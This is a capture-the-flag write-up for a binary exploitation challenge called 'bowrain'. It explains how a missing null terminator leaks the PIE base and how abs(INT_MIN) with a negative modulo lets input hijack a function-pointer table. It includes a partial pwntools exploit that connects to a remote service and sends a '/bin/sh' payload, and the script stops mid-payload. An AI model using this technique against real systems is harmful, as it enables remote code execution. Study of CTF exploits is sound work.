Tags: pie overflow null

Rating: 0

**Description**

> A little known fact about Elon Musk is that he invented the matrix as a scheme to sell trendy late 90s screensavers to fund his space adventures. That sneaky SOB left his beta screensaver app online and I think it has a backdoor.
>
> Service: nc pwn2.trinity.neo.ctf.rocks 54321 | nc 159.65.80.92 54321

**Files given**

- bowrain.tar.gz

**Solution**

### Problems ###

1. no null termination in function sub_CB0, which is used to get a string, so PIE base address can be leaked.
2. abs(INT_MIN) is still a negative number
3. x % n is negative when x is negative

in function main

c
while ( 1 )
{
v4[0] = get_number();
if ( v4[0] == -1 )
{
printf("\x1B[31;1merror:\x1B[0m not a number: %s\n", ::a1, *(_QWORD *)v4, v5);
// leak PIE possible
}
else
{
v4[1] = abs(v4[0]) % 7;//can be negative if v4[0] is 2147483648
memset(::a1, 0, endptr - (char *)::a1);
v3 = (void (__fastcall *)(char *, _QWORD))*(&off_2030A0 + v4[1]);
//will access a function pointer that can be manipulated by input if negative
v3(++endptr, 0LL);
//++endptr will point to the address just after the null terminator of input
}
print_choice();


and in .data

assembly
.data:0000000000203020 a1 db 30h, 7Fh dup(0)
.data:00000000002030A0 off_2030A0 dq offset sub_AE0
.data:00000000002030A8 dq offset sub_B1A
.data:00000000002030B0 dq offset sub_B54
.data:00000000002030B8 dq offset sub_B8E
.data:00000000002030C0 dq offset sub_BC8
.data:00000000002030C8 dq offset sub_C02
.data:00000000002030D0 dq offset sub_C3C


buffer that holds the input is contiguous with the function pointers.

First of all, since there is no null termination, we can leak address of sub_AE0 to get base address.

Secondly, if the index to access the function pointer table is negative, we can hijack the control flow to function system.

python
from pwn import *

g_local=False
#context.log_level='debug'
if g_local:
gdb.attach(sh)
else:
sh = remote("159.65.80.92", 54321)

sh.send("A" * 0x80 + "\n")
sh.recvuntil("A" * 0x80)
leak = sh.recvuntil(": ")[:6] + "\x00\x00"
base = u64(leak) - 0xAE0
print hex(base)

payload = "2147483648" + "\x00" + "/bin/sh\x00"